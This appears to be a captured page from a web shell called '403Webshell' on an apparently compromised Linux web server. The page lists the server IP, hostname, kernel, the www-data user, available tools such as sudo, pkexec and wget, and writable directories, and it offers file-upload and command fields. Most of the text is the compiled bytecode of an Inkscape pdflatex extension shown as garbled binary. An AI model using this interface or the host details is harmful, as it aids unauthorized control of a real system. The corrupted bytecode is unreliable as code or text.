403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/pdflatex.cpython-310.pyc
o

5�a��@srdZddlZddlZddlmZddlmZmZddlmZm	Z	m
Z
Gdd�deej�Ze
dkr7e���dSdS)	z)
Generate Latex via a PDF using pdflatex
�N)�TempDirMixin)�call�inkscape)�load_svg�ShapeElement�Defsc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�PdfLatexz�
    Use pdflatex to generate LaTeX, this whole hack is required because
    we don't want to open a LaTeX document as a document, but as a
    generated fragment (like import, but done manually).
    cCs$|jdtdd�|jdtdd�dS)Nz	--formule�)�type�defaultz
--packages)�add_argument�str)�self�pars�r�*/usr/share/inkscape/extensions/pdflatex.py�
add_arguments%szPdfLatex.add_argumentsc	cs:�tj�|jd�}tj�|jd�}tj�|jd�}t|d��
}|�|�Wd�n1s.wYtd||jddd�t||ddd	d
�tj�|�sZtj�	|�}tj�|�rZ|}t|d��4}t
|���}|jdd�|D]}t
|t�ry|Vqnt
|t�r�|D]	}|jj�|�q�qnWd�dS1s�wYdS)
Nz	input.texz	input.pdfz
output.svg�w�pdflatexT)�output_directory�
halt_on_error�oldie��svg)�export_filename�pdf_page�pdf_poppler�export_type�r)�	backlinks)�os�path�join�tempdir�open�write_latexrr�isfile�basenamer�getroot�set_random_ids�
isinstancerrr�defs�append)	r�tex_file�pdf_file�svg_file�fhl�fnr�child�	def_childrrr�generate)s<����

��"�zPdfLatex.generatecCs`|�d�|jj�d�D]}|r|�d�|��q|�d�|�|jj�|�d�|��dS)z%Takes a forumle and wraps it in latexzv%% processed with pdflatex.py
\documentclass{minimal}
\usepackage{amsmath}
\usepackage{amssymb}
\usepackage{amsfonts}
�,z\usepackage{{{}}}
z
\begin{document}
z
\end{document}
N)�write�options�packages�split�format�formule�flush)r�stream�packagerrrr%Is
�

zPdfLatex.write_latexN)�__name__�
__module__�__qualname__�__doc__rr4r%rrrrrs
 r�__main__)rBr �inkex�
inkex.baser�
inkex.commandrrrrr�GenerateExtensionrr?�runrrrr�<module>s:�

Youez - 2016 - github.com/yon3zu
LinuXploit